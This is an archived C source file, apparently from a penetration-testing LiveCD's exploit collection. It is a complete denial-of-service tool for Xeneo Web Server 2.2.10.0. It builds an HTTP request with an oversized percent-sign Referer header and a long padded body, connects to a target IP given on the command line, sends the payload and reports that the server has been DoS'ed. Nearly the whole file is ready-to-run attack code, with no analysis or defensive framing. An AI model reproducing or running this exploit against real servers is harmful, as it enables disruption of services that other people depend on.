home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / xeneo / sp-xeneo2.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  113 lines
  1. /* Xeneo Web Server 2.2.2.10.0 DoS 
  2.  *
  3.  * Vulnerable systems:
  4.  * Xeneo Web Server 2.2.10.0
  5.  * Vendor:
  6.  * http://www.northernsolutions.com
  7.  *
  8.  * Written and found by badpack3t <badpack3t@security-protocols.com>
  9.  * For SP Research Labs
  10.  * 04/23/2003
  11.  * 
  12.  * www.security-protocols.com
  13.  *
  14.  * usage: 
  15.  * sp-xeneo2 <targetip> [targetport] (default is 80)
  16.  *
  17.  * big ups 2: 
  18.  * c0nnie, ^Foster, ac1djazz, mp, regulate, stripey, dvdman, hex_, inet
  19.  */
  20.  
  21. #include <winsock2.h>
  22. #include <stdio.h>
  23.  
  24. #pragma comment(lib, "ws2_32.lib")
  25.  
  26. char exploit[] = 
  27.  
  28. "GET /index.html?testvariable=&nexttestvariable=gif HTTP/1.1\r\n"
  29. "Referer: http://localhost/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n"
  30. "Content-Type: application/x-www-form-urlencoded\r\n"
  31. "Connection: Keep-Alive\r\n"
  32. "Cookie: VARIABLE=SPLABS; path=/\r\n"
  33. "User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.2-2 i686)\r\n"
  34. "Variable: result\r\n"
  35. "Host: localhost\r\n"
  36. "Content-length:     513\r\n"
  37. "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png\r\n"
  38. "Accept-Encoding: gzip\r\n"
  39. "Accept-Language: en\r\n"
  40. "Accept-Charset: iso-8859-1,*,utf-8\r\n\r\n\r\n"
  41. "whatyoutyped=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n";
  42.  
  43. int main(int argc, char *argv[])
  44. {
  45.     WSADATA wsaData;
  46.     WORD wVersionRequested;
  47.     struct hostent         *pTarget;
  48.     struct sockaddr_in     sock;
  49.     char *target, buffer[30000];
  50.     int port,bufsize;
  51.     SOCKET mysocket;
  52.     
  53.     if (argc < 2)
  54.     {
  55.         printf("Xeneo Web Server 2.2.10.0 DoS\r\n <badpack3t@security-protocols.com>\r\n\r\n", argv[0]);
  56.         printf("Tool Usage:\r\n %s <targetip> [targetport] (default is 80)\r\n\r\n", argv[0]);
  57.         printf("www.security-protocols.com\r\n\r\n", argv[0]);
  58.         exit(1);
  59.     }
  60.  
  61.     wVersionRequested = MAKEWORD(1, 1);
  62.     if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;
  63.  
  64.     target = argv[1];
  65.  
  66.     //for default web attacks
  67.     port = 80;
  68.  
  69.     if (argc >= 3) port = atoi(argv[2]);
  70.     bufsize = 512;
  71.     if (argc >= 4) bufsize = atoi(argv[3]);
  72.  
  73.     mysocket = socket(AF_INET, SOCK_STREAM, 0);
  74.     if(mysocket==INVALID_SOCKET)
  75.     {    
  76.         printf("Socket error!\r\n");
  77.         exit(1);
  78.     }
  79.  
  80.     printf("Resolving Hostnames...\n");
  81.     if ((pTarget = gethostbyname(target)) == NULL)
  82.     {
  83.         printf("Resolve of %s failed\n", argv[1]);
  84.         exit(1);
  85.     }
  86.  
  87.     memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
  88.     sock.sin_family = AF_INET;
  89.     sock.sin_port = htons((USHORT)port);
  90.  
  91.     printf("Connecting...\n");
  92.     if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
  93.     {
  94.         printf("Couldn't connect to host.\n");
  95.         exit(1);
  96.     }
  97.  
  98.     printf("Connected!...\n");
  99.     printf("Sending Payload...\n");
  100.     if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
  101.     {
  102.         printf("Error Sending the Exploit Payload\r\n");
  103.         closesocket(mysocket);
  104.         exit(1);
  105.     }
  106.  
  107.     printf("Remote Webserver has been DoS'ed \r\n");
  108.     closesocket(mysocket);
  109.     WSACleanup();
  110.     return 0;
  111. }
  112.  
  113.